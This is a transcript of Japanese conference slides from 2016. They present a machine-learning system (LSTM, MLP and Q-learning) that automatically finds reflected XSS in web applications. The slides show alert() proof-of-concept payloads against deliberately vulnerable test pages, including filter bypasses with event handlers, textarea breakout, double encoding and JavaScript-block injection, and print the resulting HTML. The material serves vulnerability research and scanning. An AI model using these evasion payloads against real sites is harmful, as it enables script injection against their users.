機械学習でwebアプリの脆弱性を見つける - reflected xss 編 -
TRANSCRIPT
機械学習でWebアプリの脆弱性を見つける
- Reflected XSS 編 -
AISECjp 2016.07.25
Isao Takaesu
About the speaker
• 職業: Web security engineer.
• 会社: 三井物産セキュアディレクション (MBSD)
• 趣味: 脆弱性スキャナ作り、機械学習
• ブログ: http://qiita.com/bbr_bbq
• Twitter: @bbr_bbq
高江洲 勲
MBSD
タカエス イサオ
Webアプリケーション診断とは
診断員が様々な手法を駆使してWebアプリの脆弱性を見つける。
MBSD
診断員Web Server
Web Apps診断ベンダー 顧客
疑似攻撃
SQLi?
XSS?
レスポンスの受信/分析
Webアプリをクローリングしながら疑似攻撃を行う。
Webアプリからのレスポンスを分析して脆弱性を見つける。
What is XSS?
MBSD
ウェブページの部分をユーザからの入力をそのままエコーバックすることによっ
て生成しているアプリケーションのセキュリティ上の不備を利用して、サイト間を
横断して悪意のあるスクリプトを注入する攻撃のことをいう。
Wikipediaより
XSSの例①:超脆弱なアプリ
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Case 3 - RXSS</title></head><body><input type="text" value="testData"></body></html>
http://xxx.jp/case3/?input=testData
入力値がinputタグのvalue属性内に出力されている。
XSSの例①: 攻撃された様子
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Case 3 - RXSS</title></head><body><input type="text" value=""/><script>alert(‘XSS');</script>"></body></html>
http://xxx.jp/case3/?input="/><script>alert(‘XSS');</script>
HTML内に悪意のあるスクリプトが埋め込まれる。
⇒HTMLやJS構文の理解が必要
XSSの例②:ちょっとセキュアなアプリ
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Case 4 - RXSS</title></head><body><input type="text" value=""/> alert(‘XSS');"></body></html>
悪用され易いscriptタグの入力が制限されている。
http://xxx.jp/case4/?input="/><script>alert(‘XSS');</script>
XSSの例②:攻撃された様子
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Case 4 - RXSS</title></head><body><input type="text" value="“onmouseout=alert(‘XSS')”"></body></html>
入力制限が回避されて攻撃されている。
http://xxx.jp/case4/?input=“onmouseout=alert(‘XSS')”
XSSを見つけるための要件
MBSD
HTML構文の理解
JavaScript構文の理解
入力制限の回避
MBSD
どうやって機械学習で実現するか?
これで実現
MBSD
LSTM
Multilayer Perceptron
Q-Learning
三つのアルゴリズムを組み合わせる。
MBSD
HTML構文の理解
JavaScript構文の理解
入力制限の回避
LSTM
XSSを見つけるための要件
LSTMによるHTML構文の学習
MBSD
<abbr class="" data-shorten="" data-utime="" title=""></abbr><abbr class="" data-utime="" title=""></abbr><abbr class=‘’ title=‘’></abbr><abbr data-utime=‘’ title=‘’></abbr>・・・<input name="" type="" value=""/><input alt="" id="" onclick="" src="" type=""/><input alt=‘’ id="" src=‘’ type=‘’/><input alt=‘’ name=‘’ src="" type=‘’/>・・・<video autoplay="" class="" loop="" muted="" poster=""></video><video autoplay="" loop="" muted=""></video><video class="" controls="" height="" id="" preload="" width=""></video><video src=‘’ tabindex=‘’></video><video src=‘’></video>
学習データ: 2万ページ分のHTML構文 (約12,000種類)
学習時間:約20時間(CPU:Core i7 2.5GHz, GPU:GTX 965M 4GB, Mem:16GB)
LSTMによるJavaScript構文の学習
MBSD
_satellite.pageBottom();'](function(window) {var _gaq = _gaq || [];var methods = ['log', 'dir', 'trace'];
if (typeof window.console === 'undefined') {window.console = {};
} for (var i in methods) {
if (!(methods[i] in window.console)) { window.console[methods[i]] = function() {};
}}
}(window)); "]
学習データ: 1万ページ分のJavaScript
学習時間:約28時間
必須要件
MBSD
HTML構文の理解
JavaScript構文の理解
入力制限の回避 MLP + Q-Learning
MLP + Q-Learningによる入力制限回避
MBSD
・・・
・・・
属性値(“)
属性値(‘)
タグの外
出力箇所
MLP
JS内・・・
“sCriPt”
他のタグ
URL encode
攻撃パターン
Event handler
・・・
MLPで出力箇所に応じた攻撃パターンを出力
Q-Learningで攻撃パターンを評価 ⇒ MLPの重み更新
Q-Learning
状態観測
評価
重み更新
MBSD
攻撃の流れ
1. 入力値のエコーバック箇所の特定
2. 第一次攻撃
⇒LSTMで生成した攻撃パターンを試行
3. 第二次攻撃
⇒MLP+Q-Learningで様々な攻撃パターンを試行
XSSを見つけたら攻撃終了。
3の学習結果は次パラメータの攻撃時に利用(徐々に攻撃精度が向上)。
実行例①: 正常時
MBSD
<!doctype html><html><head><title>Full Javascript Injection (full.1)</title></head><body>
Hello!<BR> The value of cgi parameter "in" is: xxx
</body></html>
http://xxx.jp/full1?in=xxx
出力箇所:HTMLタグの外
入力制限:なし
実行例①: 攻撃時
MBSD
<!doctype html><html><head><title>Full Javascript Injection (full.1)</title></head><body>
Hello!<BR> The value of cgi parameter "in" is: M75uhmid='' mulenpedistor<script>alert(3122);</script>HFZ4R
</body></html>
http://xxx.jp/full1?in=M75uhmid=''
mulenpedistor<script>alert(3122);</script>HFZ4Rxx
試行回数:1回
実行例②: 正常時
MBSD
<!doctype html><html><head><title>Reflected XSS in textarea(textarea1)</title></head><body>
<H2>Textarea injection test</H2>This test requires a closing textarea tag to break out of the field context and trigger a subsequent exploit.<p><FORM><textarea name="in" rows="5" cols="60">xxx</textarea><p><INPUT type="Submit">・・・
http://xxx.jp/textarea1?in=xxx
出力箇所:textareaタグで囲まれた箇所
入力制限:なし
実行例②: 攻撃時
MBSD
<!doctype html><html><head><title>Reflected XSS in textarea(textarea1)</title></head><body>
<H2>Textarea injection test</H2>This test requires a closing textarea tag to break out of the field context and trigger a subsequent exploit.<p><FORM><textarea name="in" rows="5" cols="60">V9vyQ</textarea><script>alert(3122);</script>zU9qL</textarea><p><INPUT type="Submit">
http://xxx.jp/textarea1?in=V9vyQ</textarea><script>alert(3122);
</script>zU9qL
試行回数:1回
実行例③: 正常時
MBSD
<!doctype html><html><head><title>Double-Encoded tags injection (doubq.1)</title></head><body>
Hello!<BR>The value of the cgi parameter "in" is: xxx<p>This test echos unencoded version of double-encoded tags.
</body></html>
http://xxx.jp/doubq1?in=xxx
出力箇所:HTMLタグの外
入力制限:あり(2重デコード)
実行例③: 攻撃時
MBSD
<!doctype html><html><head><title>Double-Encoded tags injection (doubq.1)</title></head><body>
Hello!<BR>The value of the cgi parameter "in" is: ueGD9ahdtin='' tligk=''><<script>alert(3122);</script>bK12w<p>This test echos unencoded version of double-encoded tags.
</body></html>
http://xxx.jp/doubq1?in=ueGD9ahdtin%253D%2527%2527%2520tl
igk%253D%2527%2527%253E%253C%253Cscript%253Ealert%25
283122%2529%253B%253C/script%253EbK12w
試行回数:5回
実行例④: 正常時
MBSD
<!doctype html><html><head><title>Reflected XSS - attribute injection in tags (dq.2)</title></head><body>
<H2>Update Your Preferences</H2><p><FORM>Homepage: <input value="changeme4" name="in" size="40"><BR><input type="submit" value=“xxx"></FORM>
</body></html>
http://xxx.jp/onmouseover?in=xxx
出力箇所:inputタグのvalue属性値
入力制限:あり(タグ閉じ”</xxx>”の排除)
実行例④: 攻撃時
MBSD
<!doctype html><html><head><title>Reflected XSS - attribute injection in tags (dq.2)</title></head><body>
<H2>Update Your Preferences</H2><p><FORM>Homepage: <input value=""> <option oncut=alert(3122)" name="in" size="40"><BR><input type="submit" value="Change"></FORM>
</body></html>
http://xxx.jp/onmouseover?in="></option><option
oncut=alert(3122)
試行回数:6回
実行例⑤: 正常時
MBSD
<!doctype html><html><head><title>JavaScript and double-quote injection in JS block (js.4)</title></head><body>
<script language="javascript">var f = {
date: "",week: "1",bad: "xxx",phase: "2",
};</script>・・・
http://xxx.jp/js4_dq?in=xxx
出力箇所:JavaScript内
入力制限:なし
実行例⑤: 攻撃時
MBSD
<!doctype html><html><head><title>JavaScript and double-quote injection in JS block (js.4)</title></head><body>
<script language="javascript">var f = {
date: "",week: "1",bad: "62p2G", ]
if alert(3122);//imtFk",phase: "2",
};</script>・・・
http://xxx.jp/js4_dq?in=62p2G", ]¥r¥n if alert(3122);//imtFk
試行回数:1回
デモ
MBSD
MBSD